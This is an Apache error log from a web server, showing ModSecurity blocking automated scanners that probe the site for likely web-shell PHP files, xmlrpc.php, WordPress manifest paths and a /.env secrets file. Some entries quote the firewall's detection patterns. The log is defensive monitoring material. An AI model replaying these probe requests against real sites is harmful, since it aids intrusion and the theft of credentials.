[Fri Feb 27 15:44:47.741444 2026] [:error] [pid 49306:tid 49309] [client 52.169.148.186:15451] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my.php"] [unique_id "aaFLb_nSUDZue59Px9tozgAAAUE"]
[Fri Feb 27 15:44:48.265701 2026] [:error] [pid 49306:tid 49332] [client 52.169.148.186:10934] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my.php"] [unique_id "aaFLcPnSUDZue59Px9to0AAAAVg"]
[Fri Feb 27 15:44:48.779513 2026] [:error] [pid 49306:tid 49325] [client 52.169.148.186:15454] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my.php"] [unique_id "aaFLcPnSUDZue59Px9to0gAAAVE"]
[Fri Feb 27 15:44:49.299635 2026] [:error] [pid 62998:tid 63007] [client 52.169.148.186:12904] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/my.php"] [unique_id "aaFLcVQeueXZDUmoLonnfwAAAQU"]
[Fri Feb 27 15:44:49.823092 2026] [:error] [pid 62998:tid 63012] [client 52.169.148.186:2502] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaFLcVQeueXZDUmoLonngQAAAQo"]
[Fri Feb 27 15:44:50.321726 2026] [:error] [pid 62998:tid 63010] [client 52.169.148.186:12875] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaFLclQeueXZDUmoLonnhAAAAQg"]
[Fri Feb 27 15:44:50.821511 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:7636] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaFLcoa650YPyxXVeRZUrwAAAYs"]
[Fri Feb 27 15:44:51.323609 2026] [:error] [pid 56075:tid 56092] [client 52.169.148.186:15479] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aaFLc8KBhrfI6KNv9RgeJwAAAA4"]
[Fri Feb 27 15:44:51.846103 2026] [:error] [pid 56075:tid 56080] [client 52.169.148.186:17722] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aaFLc8KBhrfI6KNv9RgeKwAAAAM"]
[Fri Feb 27 15:44:52.380760 2026] [:error] [pid 56075:tid 56088] [client 52.169.148.186:6975] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aaFLdMKBhrfI6KNv9RgeLgAAAAs"]
[Fri Feb 27 15:44:52.884178 2026] [:error] [pid 54102:tid 54151] [client 52.169.148.186:15465] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aaFLdHi74D4fiYUm_GdEiAAAAIc"]
[Fri Feb 27 15:44:53.382976 2026] [:error] [pid 54101:tid 54117] [client 52.169.148.186:12882] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lp6.php"] [unique_id "aaFLdVY5qgRktcYTGFsd8QAAAck"]
[Fri Feb 27 15:44:53.882564 2026] [:error] [pid 54231:tid 54251] [client 52.169.148.186:11275] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4doption1.php"] [unique_id "aaFLdeTvb5AeyJCdY7DJQgAAAFE"]
[Fri Feb 27 15:44:54.427870 2026] [:error] [pid 54101:tid 54126] [client 52.169.148.186:17985] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4doption1.php"] [unique_id "aaFLdlY5qgRktcYTGFsd8gAAAdI"]
[Fri Feb 27 15:44:54.957778 2026] [:error] [pid 54102:tid 54162] [client 52.169.148.186:11007] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4doption1.php"] [unique_id "aaFLdni74D4fiYUm_GdEigAAAJI"]
[Fri Feb 27 15:44:55.479814 2026] [:error] [pid 62998:tid 63007] [client 52.169.148.186:14054] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-4doption1.php"] [unique_id "aaFLd1QeueXZDUmoLonnjgAAAQU"]
[Fri Feb 27 15:44:55.979945 2026] [:error] [pid 62998:tid 63011] [client 52.169.148.186:12067] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFLd1QeueXZDUmoLonnkAAAAQk"]
[Fri Feb 27 15:44:56.481882 2026] [:error] [pid 62998:tid 63012] [client 52.169.148.186:2245] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFLeFQeueXZDUmoLonnkQAAAQo"]
[Fri Feb 27 15:44:56.983072 2026] [:error] [pid 52073:tid 52083] [client 52.169.148.186:15452] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFLeIa650YPyxXVeRZUtAAAAYc"]
[Fri Feb 27 15:44:57.483531 2026] [:error] [pid 54102:tid 54169] [client 52.169.148.186:17712] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bgymj.php"] [unique_id "aaFLeXi74D4fiYUm_GdEjAAAAJg"]
[Fri Feb 27 15:44:57.981790 2026] [:error] [pid 49306:tid 49310] [client 52.169.148.186:19189] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-setting.php"] [unique_id "aaFLefnSUDZue59Px9to3QAAAUI"]
[Fri Feb 27 15:44:58.480743 2026] [:error] [pid 56075:tid 56085] [client 52.169.148.186:14041] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-setting.php"] [unique_id "aaFLesKBhrfI6KNv9RgeOAAAAAg"]
[Fri Feb 27 15:44:58.986832 2026] [:error] [pid 52073:tid 52097] [client 52.169.148.186:9022] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-setting.php"] [unique_id "aaFLeoa650YPyxXVeRZUtQAAAZU"]
[Fri Feb 27 15:44:59.486824 2026] [:error] [pid 52073:tid 52077] [client 52.169.148.186:10924] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-setting.php"] [unique_id "aaFLe4a650YPyxXVeRZUtwAAAYE"]
[Fri Feb 27 15:45:00.018162 2026] [:error] [pid 54102:tid 54152] [client 52.169.148.186:6169] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaFLfHi74D4fiYUm_GdEkwAAAIg"]
[Fri Feb 27 15:45:00.521055 2026] [:error] [pid 54101:tid 54111] [client 52.169.148.186:10960] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaFLfFY5qgRktcYTGFsd-AAAAcM"]
[Fri Feb 27 15:45:01.026665 2026] [:error] [pid 52073:tid 52088] [client 52.169.148.186:11182] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaFLfYa650YPyxXVeRZUuQAAAYw"]
[Fri Feb 27 15:45:01.533331 2026] [:error] [pid 49306:tid 49317] [client 52.169.148.186:10120] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aaFLffnSUDZue59Px9to4AAAAUk"]
[Fri Feb 27 15:45:02.035764 2026] [:error] [pid 52073:tid 52086] [client 52.169.148.186:10410] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaFLfoa650YPyxXVeRZUuwAAAYo"]
[Fri Feb 27 15:45:02.540791 2026] [:error] [pid 52073:tid 52087] [client 52.169.148.186:12285] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaFLfoa650YPyxXVeRZUvQAAAYs"]
[Fri Feb 27 15:45:03.070746 2026] [:error] [pid 52073:tid 52100] [client 52.169.148.186:11186] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaFLf4a650YPyxXVeRZUvgAAAZg"]
[Fri Feb 27 15:45:03.600532 2026] [:error] [pid 52073:tid 52092] [client 52.169.148.186:10962] [client 52.169.148.186] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aaFLf4a650YPyxXVeRZUvwAAAZA"]
[Fri Feb 27 16:31:08.402293 2026] [proxy_fcgi:error] [pid 52073:tid 52085] [client 74.243.251.125:11730] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:53.274273 2026] [proxy_fcgi:error] [pid 62998:tid 63018] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:53.398996 2026] [proxy_fcgi:error] [pid 62998:tid 63011] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:53.647992 2026] [proxy_fcgi:error] [pid 62998:tid 63025] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:53.772020 2026] [proxy_fcgi:error] [pid 62998:tid 63012] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:54.023091 2026] [proxy_fcgi:error] [pid 62998:tid 63014] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:54.146958 2026] [proxy_fcgi:error] [pid 62998:tid 63008] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:54.296329 2026] [proxy_fcgi:error] [pid 62998:tid 63004] [client 104.208.116.225:5042] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:10:54.540163 2026] [:error] [pid 62998:tid 63001] [client 104.208.116.225:5042] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFfnlQeueXZDUmoLon5zwAAAQA"]
[Fri Feb 27 17:10:55.018318 2026] [:error] [pid 49306:tid 49311] [client 104.208.116.225:14130] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFfn_nSUDZue59Px9uRzAAAAUM"]
[Fri Feb 27 17:10:55.552151 2026] [:error] [pid 49306:tid 49323] [client 104.208.116.225:14127] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFfn_nSUDZue59Px9uRzgAAAU8"]
[Fri Feb 27 17:10:56.037979 2026] [:error] [pid 49306:tid 49325] [client 104.208.116.225:14133] [client 104.208.116.225] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaFfoPnSUDZue59Px9uR0AAAAVE"]
[Fri Feb 27 17:55:49.936023 2026] [:error] [pid 52073:tid 52089] [client 34.46.103.132:50919] [client 34.46.103.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.46.103.132, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaFqJYa650YPyxXVeRaqnQAAAY0"]
[Fri Feb 27 17:55:49.947037 2026] [proxy_fcgi:error] [pid 52073:tid 52089] [client 34.46.103.132:50919] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 17:55:52.223915 2026] [:error] [pid 52073:tid 52080] [client 34.46.103.132:50919] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKIa650YPyxXVeRaqswAAAYQ"]
[Fri Feb 27 17:55:52.621709 2026] [:error] [pid 56075:tid 56085] [client 34.46.103.132:52510] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKMKBhrfI6KNv9RhHewAAAAg"]
[Fri Feb 27 17:55:53.038665 2026] [:error] [pid 52073:tid 52099] [client 34.46.103.132:56749] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKYa650YPyxXVeRaquAAAAZc"]
[Fri Feb 27 17:55:53.473186 2026] [:error] [pid 49306:tid 49327] [client 34.46.103.132:63483] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKfnSUDZue59Px9un7wAAAVM"]
[Fri Feb 27 17:55:53.885094 2026] [:error] [pid 56075:tid 56099] [client 34.46.103.132:61915] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKcKBhrfI6KNv9RhHfQAAABU"]
[Fri Feb 27 17:55:54.321004 2026] [:error] [pid 49306:tid 49319] [client 34.46.103.132:51084] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKvnSUDZue59Px9un9gAAAUs"]
[Fri Feb 27 17:55:54.770096 2026] [:error] [pid 49306:tid 49330] [client 34.46.103.132:52502] [client 34.46.103.132] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aaFqKvnSUDZue59Px9un-QAAAVY"]
[Fri Feb 27 20:13:31.206906 2026] [proxy_fcgi:error] [pid 52073:tid 52099] [client 145.239.10.137:59632] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/n.php
[Fri Feb 27 20:13:34.272409 2026] [proxy_fcgi:error] [pid 62998:tid 63014] [client 145.239.10.137:42543] AH01071: Got error 'Primary script unknown', referer: http://agraphics.com.au/s.php
[Fri Feb 27 22:14:35.293037 2026] [proxy_fcgi:error] [pid 52073:tid 52090] [client 20.220.8.221:41999] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 22:14:35.505281 2026] [proxy_fcgi:error] [pid 52073:tid 52082] [client 20.220.8.221:41999] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 22:14:35.920105 2026] [:error] [pid 52073:tid 52085] [client 20.220.8.221:41999] [client 20.220.8.221] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaGmy4a650YPyxXVeRallAAAAYk"]
[Fri Feb 27 22:14:37.226001 2026] [proxy_fcgi:error] [pid 56075:tid 56094] [client 20.220.8.221:42063] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 22:14:37.654131 2026] [proxy_fcgi:error] [pid 56075:tid 56090] [client 20.220.8.221:42063] AH01071: Got error 'Primary script unknown'
[Fri Feb 27 22:14:38.288629 2026] [:error] [pid 56075:tid 56086] [client 20.220.8.221:42063] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaGmzsKBhrfI6KNv9RgnuAAAAAk"]
[Fri Feb 27 22:14:39.123557 2026] [:error] [pid 54231:tid 54234] [client 20.220.8.221:42065] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaGmz-Tvb5AeyJCdY7AySwAAAEA"]
[Fri Feb 27 22:14:39.983839 2026] [:error] [pid 52073:tid 52085] [client 20.220.8.221:42001] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaGmz4a650YPyxXVeRalowAAAYk"]
[Fri Feb 27 22:14:40.809646 2026] [:error] [pid 49306:tid 49311] [client 20.220.8.221:41993] [client 20.220.8.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaGm0PnSUDZue59Px9tOswAAAUM"]
[Fri Feb 27 22:45:53.711778 2026] [:error] [pid 56075:tid 56090] [client 159.65.15.207:37208] [client 159.65.15.207] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aaGuIcKBhrfI6KNv9RhHXAAAAAw"]
[Sat Feb 28 00:02:40.287587 2026] [proxy_fcgi:error] [pid 54231:tid 54248] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:40.495583 2026] [proxy_fcgi:error] [pid 54231:tid 54239] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:41.102431 2026] [proxy_fcgi:error] [pid 54231:tid 54235] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:41.324539 2026] [proxy_fcgi:error] [pid 54231:tid 54243] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
[Sat Feb 28 00:02:41.532741 2026] [proxy_fcgi:error] [pid 54231:tid 54237] [client 20.220.221.45:59844] AH01071: Got error 'Primary script unknown'
